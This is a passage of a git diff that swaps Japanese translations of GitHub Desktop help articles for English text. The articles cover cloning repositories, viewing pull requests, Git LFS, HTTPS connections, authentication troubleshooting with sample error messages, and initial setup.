variables.product.prodname_dotcom %}. For more information, see "[Cloning a repository from {% data variables.product.prodname_desktop %}](/desktop/guides/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop/)." {% endtip %} {% mac %} -1. クローンする前に、{% data variables.product.product_location %}と{% data variables.product.prodname_desktop %}にサインインします。 +1. Sign in to {% data variables.product.product_location %} and {% data variables.product.prodname_desktop %} before you start to clone. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.open-with-github-desktop %} -5. [**Choose...**]をクリックし、Finderウインドウを使用してリポジトリをクローンするローカルパスに移動します。 ![URLタブにあるchooseボタン](/assets/images/help/desktop/clone-choose-button-url-mac.png) +5. Click **Choose...** and, using the Finder window, navigate to a local path where you want to clone the repository. +![The choose button on the URL tab](/assets/images/help/desktop/clone-choose-button-url-mac.png) {% note %} - **注釈：**リポジトリがLFSを使用するように構成されている場合、{% data variables.large_files.product_name_short %}の初期化を要求するプロンプトが表示されます。 + **Note:** If the repository is configured to use LFS, you will be prompted to initialize {% data variables.large_files.product_name_short %}. {% endnote %} -5. **Clone**をクリックします。 ![URLタブ内のcloneボタン](/assets/images/help/desktop/clone-button-url-mac.png) +5. Click **Clone**. +![The clone button on the URL tab](/assets/images/help/desktop/clone-button-url-mac.png) {% endmac %} {% windows %} -1. クローンする前に、{% data variables.product.product_location %}と{% data variables.product.prodname_desktop %}にサインインします。 +1. Sign in to {% data variables.product.product_location %} and {% data variables.product.prodname_desktop %} before you start to clone. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.open-with-github-desktop %} -5. **Choose...**をクリックし、Windows Explorerを使用してリポジトリをクローンするローカルパスに移動します。 ![Chooseボタン](/assets/images/help/desktop/clone-choose-button-url-win.png) +5. Click **Choose...** and, using Windows Explorer, navigate to a local path where you want to clone the repository. +![The choose button](/assets/images/help/desktop/clone-choose-button-url-win.png) {% note %} - **注釈：**リポジトリがLFSを使用するように構成されている場合、{% data variables.large_files.product_name_short %}の初期化を要求するプロンプトが表示されます。 + **Note:** If the repository is configured to use LFS, you will be prompted to initialize {% data variables.large_files.product_name_short %}. {% endnote %} -5. **Clone**をクリックします。 ![Cloneボタン](/assets/images/help/desktop/clone-button-url-win.png) +5. Click **Clone**. +![The clone button](/assets/images/help/desktop/clone-button-url-win.png) {% endwindows %} diff --git a/translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-a-pull-request-in-github-desktop.md b/translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-a-pull-request-in-github-desktop.md index e62c5d5297..cbbd24efa4 100644 --- a/translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-a-pull-request-in-github-desktop.md +++ b/translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-a-pull-request-in-github-desktop.md @@ -1,7 +1,7 @@ --- -title: GitHub デスクトップでプルリクエストを表示する -shortTitle: プルリクエストを表示する -intro: '{% data variables.product.prodname_desktop %}でオープンプルリクエストで提案された変更を見ることができます。' +title: Viewing a pull request in GitHub Desktop +shortTitle: Viewing a pull request +intro: 'You can view proposed changes in open pull requests on {% data variables.product.prodname_desktop %}.' redirect_from: - /desktop/contributing-to-projects/accessing-a-pull-request-locally - /desktop/contributing-and-collaborating-using-github-desktop/accessing-a-pull-request-locally @@ -9,21 +9,22 @@ redirect_from: versions: fpt: '*' --- +## About pull requests in {% data variables.product.prodname_desktop %} +You can view pull requests that you or your collaborators have proposed in {% data variables.product.prodname_desktop %}. Pull requests let you propose changes to projects, provide feedback and reviews, and merge changes into projects. For more information, see "[About pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests)." -## {% data variables.product.prodname_desktop %} のプルリクエストについて -自分またはコラボレータが提案したプルリクエストは、{% data variables.product.prodname_desktop %} で確認できます。 プルリクエストを使用すると、プロジェクトへの変更を提案し、フィードバックとレビューを提供し、変更をプロジェクトにマージできます。 詳しい情報については[プルリクエストについて](/github/collaborating-with-issues-and-pull-requests/about-pull-requests)を参照してください。 +When you view a pull request in {% data variables.product.prodname_desktop %}, you can see a history of commits that contributors made. You can also see which files the commits modified, added, or deleted. From {% data variables.product.prodname_desktop %}, you can open repositories in your preferred text editor to view any changes or make additional changes. After reviewing changes in a pull request, you can give feedback on {% data variables.product.prodname_dotcom %}. For more information, see "[About pull request reviews](/github/collaborating-with-issues-and-pull-requests/about-pull-request-reviews)." -{% data variables.product.prodname_desktop %} でプルリクエストを表示すると、コントリビューターが行ったコミットの履歴を確認できます。 コミットが変更、追加、または削除されたファイルを確認することもできます。 {% data variables.product.prodname_desktop %} から、任意のテキストエディタでリポジトリを開いて、変更を表示したり、追加の変更を加えたりすることができます。 プルリクエストの変更を確認したら、{% data variables.product.prodname_dotcom %} に関するフィードバックを送信できます。 詳しい情報については、「[プルリクエストレビューについて](/github/collaborating-with-issues-and-pull-requests/about-pull-request-reviews)」を参照してください。 - -## {% data variables.product.prodname_desktop %} のプルリクエストを表示する +## Viewing a pull request in {% data variables.product.prodname_desktop %} {% data reusables.desktop.current-branch-menu %} {% data reusables.desktop.click-pull-requests %} - ![[Current Branch] のドロップダウンメニュー内にある [Pull Requests] タブ](/assets/images/help/desktop/branch-drop-down-pull-request-tab.png) + ![Pull Requests tab in the Current Branch drop-down menu](/assets/images/help/desktop/branch-drop-down-pull-request-tab.png) {% data reusables.desktop.choose-pr-from-list %} - ![リポジトリ内のオープンプルリクエストのリスト](/assets/images/help/desktop/click-pull-request.png) -4. プルリクエストのリストを更新したい場合は、{% octicon "sync" aria-label="The sync icon" %}をクリックします。 ![更新するための [Sync] ボタン](/assets/images/help/desktop/pull-request-list-sync.png) + ![List of open pull requests in the repository](/assets/images/help/desktop/click-pull-request.png) +4. Optionally, to refresh the list of pull requests, click {% octicon "sync" aria-label="The sync icon" %}. + ![Sync button to refresh](/assets/images/help/desktop/pull-request-list-sync.png) -## {% data variables.product.prodname_dotcom %} から {% data variables.product.prodname_desktop %} でプルリクエストを開く +## Opening a pull request in {% data variables.product.prodname_desktop %} from {% data variables.product.prodname_dotcom %} {% data reusables.repositories.sidebar-pr %} -2. プルリクエストのリストで、{% data variables.product.prodname_desktop %} で開くプルリクエストをクリックします。 -3. プルリクエストのタイトルの右側にある [**Open with**] ドロップダウンをクリックしてから、[**Open in Desktop**] ボタンをクリックします。 ![[Open in Desktop] ボタン](/assets/images/help/desktop/open-pr-in-desktop-button.png) +2. In the list of pull requests, click the pull request that you would like to open in {% data variables.product.prodname_desktop %}. +3. To the right of the title of the pull request, click the **Open with** drop-down and then click the **Open in Desktop** button. + ![The Open in Desktop button](/assets/images/help/desktop/open-pr-in-desktop-button.png) diff --git a/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop.md b/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop.md index 101aaf4f28..054bcb4e45 100644 --- a/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop.md +++ b/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop.md @@ -1,20 +1,19 @@ --- -title: GitLarge File Storage および GitHub Desktop について -shortTitle: Git LFS について -intro: '{% data variables.product.prodname_desktop %} には、大きなファイルを管理するための {% data variables.large_files.product_name_long %} が含まれています。' +title: About Git Large File Storage and GitHub Desktop +shortTitle: About Git LFS +intro: '{% data variables.product.prodname_desktop %} includes {% data variables.large_files.product_name_long %} for managing large files.' redirect_from: - /desktop/getting-started-with-github-desktop/about-git-large-file-storage-and-github-desktop - /desktop/installing-and-configuring-github-desktop/about-git-large-file-storage-and-github-desktop versions: fpt: '*' --- +When you install {% data variables.product.prodname_desktop %}, {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) is installed, too. {% data variables.large_files.product_name_short %} lets you push files to {% data variables.product.prodname_dotcom %} that exceed the normal limit of {% data variables.large_files.max_github_size %}. For more information about {% data variables.large_files.product_name_short %}, see "[About {% data variables.large_files.product_name_long %}](/github/managing-large-files/about-git-large-file-storage)." -{% data variables.product.prodname_desktop %} をインストールすると、{% data variables.large_files.product_name_long %}（{% data variables.large_files.product_name_short %}）もインストールされます。 {% data variables.large_files.product_name_short %} では、通常の制限の {% data variables.large_files.max_github_size %} を超えるファイルを {% data variables.product.prodname_dotcom %} にプッシュできます。 {% data variables.large_files.product_name_short %} の詳細については、「[{% data variables.large_files.product_name_long %} について](/github/managing-large-files/about-git-large-file-storage)」を参照してください。 +To use {% data variables.large_files.product_name_short %} with {% data variables.product.prodname_desktop %}, you must configure {% data variables.large_files.product_name_short %} using the command line. For more information, see "[Configuring {% data variables.large_files.product_name_long %}](/github/managing-large-files/configuring-git-large-file-storage)." -{% data variables.large_files.product_name_short %} を {% data variables.product.prodname_desktop %}で使用するには、コマンドラインを使用して {% data variables.large_files.product_name_short %} を設定する必要があります。 詳しい情報については、「[{% data variables.large_files.product_name_long %} を設定する](/github/managing-large-files/configuring-git-large-file-storage)」を参照してください。 +After you configure {% data variables.large_files.product_name_short %} to track files in a repository, you can seamlessly access and manage large files with {% data variables.product.prodname_desktop %} like any other file in the repository. -リポジトリ内のファイルを追跡するように {% data variables.large_files.product_name_short %} を設定すると、リポジトリ内の他のファイルと同様に、{% data variables.product.prodname_desktop %} を使用して大きなファイルにシームレスにアクセスして管理できます。 - -## 参考リンク -- 「[大きなファイルを扱う](/github/managing-large-files/working-with-large-files)」 -- 「[大きなファイルのバージョン付け](/github/managing-large-files/versioning-large-files)」 +## Further reading +- "[Working with large files](/github/managing-large-files/working-with-large-files)" +- "[Versioning large files](/github/managing-large-files/versioning-large-files)" diff --git a/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github.md b/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github.md index 40f53d6a7a..6200a8c0c5 100644 --- a/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github.md +++ b/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github.md @@ -1,6 +1,6 @@ --- -title: GitHub への接続について -intro: '{% data variables.product.prodname_desktop %} は、HTTPS を使用して {% data variables.product.prodname_dotcom %} と安全にデータを交換します。' +title: About connections to GitHub +intro: '{% data variables.product.prodname_desktop %} uses HTTPS to securely exchange data with {% data variables.product.prodname_dotcom %}.' redirect_from: - /desktop/getting-started-with-github-desktop/about-connections-to-github - /desktop/installing-and-configuring-github-desktop/about-connections-to-github @@ -8,12 +8,11 @@ versions: fpt: '*' shortTitle: About connections --- +{% data variables.product.prodname_desktop %} connects to {% data variables.product.prodname_dotcom %} when you pull from, push to, clone, and fork remote repositories. To connect to {% data variables.product.prodname_dotcom %} from {% data variables.product.prodname_desktop %}, you must authenticate your account. For more information, see "[Authenticating to {% data variables.product.prodname_dotcom %}](/desktop/getting-started-with-github-desktop/authenticating-to-github)." -{% data variables.product.prodname_desktop %} は、リモートリポジトリからプル、プッシュ、クローン、フォークを行うと、{% data variables.product.prodname_dotcom %} に接続します。 {% data variables.product.prodname_desktop %} から {% data variables.product.prodname_dotcom %} に接続するには、アカウントを認証する必要があります。 詳しい情報については「[{% data variables.product.prodname_dotcom %}への認証を行う](/desktop/getting-started-with-github-desktop/authenticating-to-github)」を参照してください。 +After you authenticate to {% data variables.product.prodname_dotcom %}, you can connect to remote repositories with {% data variables.product.prodname_desktop %}. {% data variables.product.prodname_desktop %} caches your credentials (username and password or personal access token) and uses the credentials to authenticate for each connection to the remote repository. -{% data variables.product.prodname_dotcom %} への認証後、{% data variables.product.prodname_desktop %} を使用してリモートリポジトリに接続できます。 {% data variables.product.prodname_desktop %} は、認証情報（ユーザ名とパスワード、または個人アクセストークン）をキャッシュし、その認証情報を使用してリモートリポジトリへの接続ごとに認証します。 +{% data variables.product.prodname_desktop %} connects to {% data variables.product.prodname_dotcom %} using HTTPS. If you use {% data variables.product.prodname_desktop %} to access repositories that were cloned using SSH, you may encounter errors. To connect to a repository that was cloned using SSH, change the remote's URLs. For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)." -{% data variables.product.prodname_desktop %} は、HTTPS を使用して {% data variables.product.prodname_dotcom %} に接続します。 SSH を使用してクローンされたリポジトリにアクセスする際に {% data variables.product.prodname_desktop %} を使用すると、エラーが発生する可能性があります。 SSH を使用してクローンされたリポジトリに接続するには、リモートの URL を変更します。 For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)." - -## 参考リンク -- 「[GitHub Desktop からのリポジトリのクローンとフォーク](/desktop/contributing-and-collaborating-using-github-desktop/cloning-and-forking-repositories-from-github-desktop)」 +## Further reading +- "[Cloning and forking repositories from GitHub Desktop](/desktop/contributing-and-collaborating-using-github-desktop/cloning-and-forking-repositories-from-github-desktop)" diff --git a/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github.md b/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github.md index 4452f5ddb7..f43d874d92 100644 --- a/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github.md +++ b/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github.md @@ -1,7 +1,7 @@ --- -title: GitHubへの認証方法 -shortTitle: 認証 -intro: '{% data variables.product.prodname_dotcom %} を認証することで、{% data variables.product.prodname_desktop %} 上のアカウントのリソースに安全にアクセスできます。' +title: Authenticating to GitHub +shortTitle: Authentication +intro: 'You can securely access your account''s resources on {% data variables.product.prodname_desktop %} by authenticating to {% data variables.product.prodname_dotcom %}.' redirect_from: - /desktop/getting-started-with-github-desktop/authenticating-to-github-using-the-browser - /desktop/getting-started-with-github-desktop/authenticating-to-github @@ -9,136 +9,143 @@ redirect_from: versions: fpt: '*' --- +## About authentication -## 認証について +To keep your account secure, you must authenticate before you can use {% data variables.product.prodname_desktop %} to access resources on {% data variables.product.prodname_dotcom %}. -アカウントを安全に保つには、{% data variables.product.prodname_desktop %} を使用して {% data variables.product.prodname_dotcom %} のリソースにアクセスする前に認証する必要があります。 - -認証する前には、{% data reusables.desktop.get-an-account %} +Before you authenticate, {% data reusables.desktop.get-an-account %} {% mac %} -## {% data variables.product.prodname_dotcom %} 上のアカウントを認証する +## Authenticating an account on {% data variables.product.prodname_dotcom %} {% data reusables.desktop.mac-select-desktop-menu %} {% data reusables.desktop.mac-select-accounts %} -3. [{% data variables.product.prodname_dotcom_the_website %}] の右にある [**Sign In**] をクリックします。 ![GitHubのサインインボタン](/assets/images/help/desktop/mac-sign-in-github.png) -4. [Sign in] ペインで [**Sign in using your browser**] をクリックします。 {% data variables.product.prodname_desktop %} はデフォルトのブラウザを開きます。 ![ブラウザリンク経由でのサインイン](/assets/images/help/desktop/sign-in-browser.png) +3. To the right of "{% data variables.product.prodname_dotcom_the_website %}," click **Sign In**. + ![The Sign In button for GitHub](/assets/images/help/desktop/mac-sign-in-github.png) +4. In the "Sign in" pane, click **Sign in using your browser**. {% data variables.product.prodname_desktop %} will open your default browser. + ![The Sign in using your browser link](/assets/images/help/desktop/sign-in-browser.png) {% data reusables.user_settings.password-authentication-deprecation-desktop %} {% data reusables.desktop.authenticate-in-browser %} {% data reusables.desktop.2fa-in-browser %} -7. アカウントが {% data variables.product.prodname_dotcom %} に認証されたら、プロンプトに従って {% data variables.product.prodname_desktop %} に戻ります。 +7. After {% data variables.product.prodname_dotcom %} authenticates your account, follow the prompts to return to {% data variables.product.prodname_desktop %}. -## {% data variables.product.prodname_enterprise %} 上のアカウントを認証する +## Authenticating an account on {% data variables.product.prodname_enterprise %} {% data reusables.user_settings.password-authentication-deprecation-desktop %} {% data reusables.desktop.mac-select-desktop-menu %} {% data reusables.desktop.mac-select-accounts %} {% data reusables.desktop.choose-product-authenticate %} -4. {% data variables.product.prodname_enterprise %} アカウントを追加するには、[Enterprise server address] に認証情報を入力して [**Continue**] をクリックします。 ![GitHub EnterpriseのSign Inボタン](/assets/images/help/desktop/mac-sign-in-button-enterprise.png) +4. To add a {% data variables.product.prodname_enterprise %} account, type your credentials under "Enterprise server address," then click **Continue**. + ![The Sign In button for GitHub Enterprise](/assets/images/help/desktop/mac-sign-in-button-enterprise.png) {% data reusables.desktop.retrieve-2fa %} {% endmac %} {% windows %} -## {% data variables.product.prodname_dotcom %} 上のアカウントを認証する +## Authenticating an account on {% data variables.product.prodname_dotcom %} {% data reusables.desktop.windows-choose-options %} {% data reusables.desktop.windows-select-accounts %} -3. [GitHub.com] の右にある [**Sign in**] をクリックします。 ![GitHubのサインインボタン](/assets/images/help/desktop/windows-sign-in-github.png) -4. サインインペインで、**Sign in using your browser**をクリックします。 ![ブラウザリンク経由でのサインイン](/assets/images/help/desktop/sign-in-browser.png) +3. To the right of "GitHub.com," click **Sign in**. + ![The Sign In button for GitHub](/assets/images/help/desktop/windows-sign-in-github.png) +4. In the Sign in pane, click **Sign in using your browser**. + ![The Sign in using your browser link](/assets/images/help/desktop/sign-in-browser.png) {% data reusables.user_settings.password-authentication-deprecation-desktop %} {% data reusables.desktop.authenticate-in-browser %} {% data reusables.desktop.2fa-in-browser %} -7. アカウントが {% data variables.product.prodname_dotcom %} に認証されたら、プロンプトに従って {% data variables.product.prodname_desktop %} に戻ります。 +7. After {% data variables.product.prodname_dotcom %} authenticates your account, follow the prompts to return to {% data variables.product.prodname_desktop %}. -## {% data variables.product.prodname_enterprise %} 上のアカウントを認証する +## Authenticating an account on {% data variables.product.prodname_enterprise %} {% data reusables.desktop.windows-choose-options %} {% data reusables.desktop.windows-select-accounts %} {% data reusables.desktop.choose-product-authenticate %} -4. {% data variables.product.prodname_enterprise %} アカウントを追加するには、[Enterprise server address] に認証情報を入力して [**Continue**] をクリックします。 ![GitHub EnterpriseのSign Inボタン](/assets/images/help/desktop/windows-sign-in-button-enterprise.png) +4. To add a {% data variables.product.prodname_enterprise %} account, type your credentials under "Enterprise server address," then click **Continue**. + ![The Sign In button for GitHub Enterprise](/assets/images/help/desktop/windows-sign-in-button-enterprise.png) {% data reusables.desktop.retrieve-2fa %} {% endwindows %} -## 認証問題のトラブルシューティング +## Troubleshooting authentication issues -{% data variables.product.prodname_desktop %} で認証エラーが発生した場合は、エラーメッセージを使用してトラブルシューティングを行うことができます。 +If {% data variables.product.prodname_desktop %} encounters an authentication error, you can use error messages to troubleshoot. -認証エラーが発生した場合は、まず {% data variables.product.prodname_desktop %} 上のアカウントからサインアウトした後にサインインします。 +If you encounter an authentication error, first try signing out and signing back in to your account on {% data variables.product.prodname_desktop %}. -一部のエラーでは、{% data variables.product.prodname_desktop %} がエラーメッセージを表示します。 プロンプトが表示されない場合、またはエラーに関する詳細情報を確認する場合は、次のステップに従って {% data variables.product.prodname_desktop %} ログファイルを表示します。 +For some errors, {% data variables.product.prodname_desktop %} will prompt you with an error message. If you are not prompted, or to find more information about any error, view the {% data variables.product.prodname_desktop %} log files by using the following steps. {% mac %} -1. [**Help**] ドロップダウンメニューを使用して、[**Show Logs in Finder**] をクリックします。 ![[Show Logs in Finder] ボタン](/assets/images/help/desktop/mac-show-logs.png) -2. 認証エラーが発生した日付からログファイルを選択します。 +1. Use the **Help** drop-down menu and click **Show Logs in Finder**. + ![The Show Logs in Finder button](/assets/images/help/desktop/mac-show-logs.png) +2. Select the log file from the date when you encountered the authentication error. {% endmac %} {% windows %} -1. [**Help**] ドロップダウンメニューを使用して、[**Show Logs in Explorer**] をクリックします。 ![[Show Logs in Explorer] ボタン](/assets/images/help/desktop/windows-show-logs.png) -2. 認証エラーが発生した日付からログファイルを選択します。 +1. Use the **Help** drop-down menu and click **Show Logs in Explorer**. + ![The Show Logs in Explorer button](/assets/images/help/desktop/windows-show-logs.png) +2. Select the log file from the date when you encountered the authentication error. {% endwindows %} -エラーメッセージについては、下記のトラブルシューティング情報を確認してください。 +Review the troubleshooting information below for the error message that you encounter. -### 不正な認証情報 +### Bad credentials ```shell Error: Bad credentials ``` -このエラーは、保存されているアカウントの認証情報に問題があることを示しています。 +This error means that there is an issue with your stored account credentials. -トラブルシューティングを行うには、{% data variables.product.prodname_desktop %} でアカウントからサインアウトして、再度サインインします。 +To troubleshoot, sign out of your account on {% data variables.product.prodname_desktop %} and then sign back in. -### 空のトークン +### Empty token ```shell info: [ui] [AppStore.withAuthenticatingUser] account found for repository: node - (empty token) ``` -このエラーは、{% data variables.product.prodname_desktop %} がシステムキーチェーンに作成したアクセストークンを見つけられないことを示しています。 +This error means that {% data variables.product.prodname_desktop %} is unable to find the access token that it created in the system keychain. -トラブルシューティングを行うには、{% data variables.product.prodname_desktop %} でアカウントからサインアウトして、再度サインインします。 +To troubleshoot, sign out of your account on {% data variables.product.prodname_desktop %} and then sign back in. -### リポジトリが見つからない +### Repository not found ```shell fatal: repository 'https://github.com//.git' not found -（エラーは 8 として解析されました：リポジトリはもう存在していないようです。 アクセス権がないか、削除または名前が変更された可能性があります。） +(The error was parsed as 8: The repository does not seem to exist anymore. You may not have access, or it may have been deleted or renamed.) ``` -このエラーは、クローンを作成しようとしているリポジトリにアクセスする権限がないことを意味します。 +This error means that you do not have permission to access the repository that you are trying to clone. -トラブルシューティングを行うには、権限を管理する Organization 内の担当者にお問い合わせください。 +To troubleshoot, contact the person in your organization who administers permissions. -### リモートリポジトリから読み込めない +### Could not read from remote repository ```shell git@github.com: Permission denied (publickey). fatal: Could not read from remote repository. -正しいアクセス権があり、リポジトリが存在することを確認してください。 +Please make sure you have the correct access rights and the repository exists. ``` -このエラーは、有効な SSH キーが設定されていないことを示しています。 +This error means that you do not have a valid SSH key set up. -トラブルシューティングを行うには、「[新しい SSH キーを生成して SSH エージェントに追加する](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)」を参照してください。 +To troubleshoot, see "[Generating a new SSH key and adding it to the SSH agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." -### クローン失敗 +### Failed to clone ```shell fatal: clone of 'git@github.com:/' into submodule path '' failed @@ -146,35 +153,38 @@ Failed to clone 'src/github.com//'. Retry scheduled Cloning into ''... git@github.com: Permission denied (publickey). fatal: Could not read from remote repository. -正しいアクセス権があり、リポジトリが存在することを確認してください。 +Please make sure you have the correct access rights +and the repository exists. ``` -このエラーは、クローンを作成しようとしているリポジトリにアクセス権のないサブモジュールがあるか、有効な SSH キーが設定されていないことを示しています。 +This error means that either the repository that you are trying to clone has submodules that you do not have access to or you do not have a valid SSH key set up. -サブモジュールにアクセスできない場合は、リポジトリの権限の管理者に連絡してトラブルシューティングを行ってください。 +If you do not have access to the submodules, troubleshoot by contacting the person who administers permissions for the repository. -有効な SSH キーが設定されていない場合は、「[新しい SSH キーを生成して SSH エージェントに追加する](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)」を参照してください。 +If you do not have a valid SSH key set up, see "[Generating a new SSH key and adding it to the SSH agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." {% windows %} -### AskPass レスポンスが読み取れない +### Unable to read AskPass response ```shell error: unable to read askpass response from '/Users//GitHub Desktop.app/Contents/Resources/app/static/ask-pass-trampoline.sh' fatal: could not read Username for 'https://github.com': terminal prompts disabled ``` -このエラーは、複数のイベントによって発生する可能性があります。 +This error can be caused by multiple events. -`Command Processor` のレジストリエントリが変更されると、{% data variables.product.prodname_desktop %} は、`Authentication failed` で応答します。 これらのレジストリエントリが変更されているかどうかを確認するには、次のステップを実行します。 +If the `Command Processor` registry entries are modified, {% data variables.product.prodname_desktop %} will respond with an `Authentication failed` error. To check if these registry entries have been modified, follow these steps. -1. レジストリエディタ（`regedit.exe`）を開き、次の場所に移動します。 `` HKEY_CURRENT_USER\Software\Microsoft\Command Processor\` ``HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\` -2. いずれかの場所に `Autorun` 値があるかどうかを確認します。 -3. `Autorun` 値がある場合は、それを削除します。 +1. Open the Registry Editor (`regedit.exe`) and navigate to the following locations. + `HKEY_CURRENT_USER\Software\Microsoft\Command Processor\` + `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\` +2. Check to see if there is an `Autorun` value in either location. +3. If there is an `Autorun` value, delete it. -Windows ユーザ名に拡張 Unicode 文字が含まれている場合、AskPass レスポンスエラーが発生する可能性があります。 トラブルシューティングを行うには、新しい Windows ユーザアカウントを作成し、ファイルをそのアカウントに移行します。 詳しい情報については、Microsoft ドキュメンテーションの「[Windows でユーザアカウントを作成する](https://support.microsoft.com/en-us/help/13951/windows-create-user-account)」を参照してください。 +If your Windows username has extended Unicode characters, it may cause an AskPass response error. To troubleshoot, create a new Windows user account and migrate your files to that account. For more information, see "[Create a user account in Windows](https://support.microsoft.com/en-us/help/13951/windows-create-user-account)" in the Microsoft documentation. {% endwindows %} -## 参考リンク -- 「[GitHub への認証について](/github/authenticating-to-github/about-authentication-to-github)」 +## Further reading +- "[About authentication to GitHub](/github/authenticating-to-github/about-authentication-to-github)" diff --git a/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/setting-up-github-desktop.md b/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/setting-up-github-desktop.md index 19d02797fb..609af94809 100644 --- a/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/setting-up-github-desktop.md +++ b/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/setting-up-github-desktop.md @@ -1,44 +1,43 @@ --- -title: GitHub Desktopの設定方法 -shortTitle: セットアップ -intro: 'ニーズに合わせて {% data variables.product.prodname_desktop %} を設定し、プロジェクトに貢献することができます。' +title: Setting up GitHub Desktop +shortTitle: Setup +intro: 'You can set up {% data variables.product.prodname_desktop %} to suit your needs and contribute to projects.' redirect_from: - /desktop/getting-started-with-github-desktop/setting-up-github-desktop - /desktop/installing-and-configuring-github-desktop/setting-up-github-desktop versions: fpt: '*' --- +## Part 1: Installing {% data variables.product.prodname_desktop %} -## パート 1: {% data variables.product.prodname_desktop %} のインストール方法 +You can install {% data variables.product.prodname_desktop %} on any supported operating system. For more information, see "[Supported Operating Systems](/desktop/getting-started-with-github-desktop/supported-operating-systems)." -{% data variables.product.prodname_desktop %} は、サポートされている任意のオペレーティングシステムにインストールできます。 詳しい情報については、「[サポートされているオペレーティングシステム](/desktop/getting-started-with-github-desktop/supported-operating-systems)」を参照してください。 +To install {% data variables.product.prodname_desktop %}, navigate to [https://desktop.github.com/](https://desktop.github.com/) and download the appropriate version of {% data variables.product.prodname_desktop %} for your operating system. Follow the prompts to complete the installation. For more information, see "[Installing {% data variables.product.prodname_desktop %}](/desktop/getting-started-with-github-desktop/installing-github-desktop)." -{% data variables.product.prodname_desktop %} をインストールするには、[https://desktop.github.com/](https://desktop.github.com/) に移動し、オペレーティングシステムに適したバージョンの {% data variables.product.prodname_desktop %} をダウンロードします。 プロンプトに従って、インストールを完了します。 詳しい情報については「[{% data variables.product.prodname_desktop %}のインストール](/desktop/getting-started-with-github-desktop/installing-github-desktop)」を参照してください。 +## Part 2: Configuring your account -## パート 2: アカウントの設定 +If you have an account on {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %}, you can use {% data variables.product.prodname_desktop %} to exchange data between your local and remote repositories. -{% data variables.product.prodname_dotcom %} または {% data variables.product.prodname_enterprise %} にアカウントがある場合は、{% data variables.product.prodname_desktop %} を使用してローカルリポジトリとリモートリポジトリの間でデータを交換できます。 +### Creating an account +If you do not already have an account on {% data variables.product.prodname_dotcom %}, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/articles/signing-up-for-a-new-github-account/)." -### アカウントを作成する -{% data variables.product.prodname_dotcom %} のアカウントをまだお持ちでない場合は、「[新しい{% data variables.product.prodname_dotcom %} アカウントにサインアップする](/articles/signing-up-for-a-new-github-account/)」を参照してください。 +If you are part of an organization that uses {% data variables.product.prodname_enterprise %} and you do not have an account, contact your {% data variables.product.prodname_enterprise %} site administrator. -{% data variables.product.prodname_enterprise %} を使用している Organization に所属していて、アカウントを持っていない場合は、{% data variables.product.prodname_enterprise %} のサイト管理者に連絡してください。 +### Authenticating to {% data variables.product.prodname_dotcom %} +To connect to {% data variables.product.prodname_desktop %} with {% data variables.product.prodname_dotcom %}, you'll need to authenticate your account. For more information, see "[Authenticating to {% data variables.product.prodname_desktop %}](/desktop/getting-started-with-github-desktop/authenticating-to-github)." -### {% data variables.product.prodname_dotcom %} への認証を行う -{% data variables.product.prodname_dotcom %} を使用して {% data variables.product.prodname_desktop %} に接続するには、アカウントを認証する必要があります。 詳しい情報については「[{% data variables.product.prodname_desktop %}への認証を行う](/desktop/getting-started-with-github-desktop/authenticating-to-github)」を参照してください。 +After authenticating your account, you are ready to manage and contribute to projects with {% data variables.product.prodname_desktop %}. -アカウントを認証すると、{% data variables.product.prodname_desktop %} を使用してプロジェクトを管理し、貢献を開始できます。 +## Part 3: Configuring Git +You must have Git installed before using {% data variables.product.prodname_desktop %}. If you do not already have Git 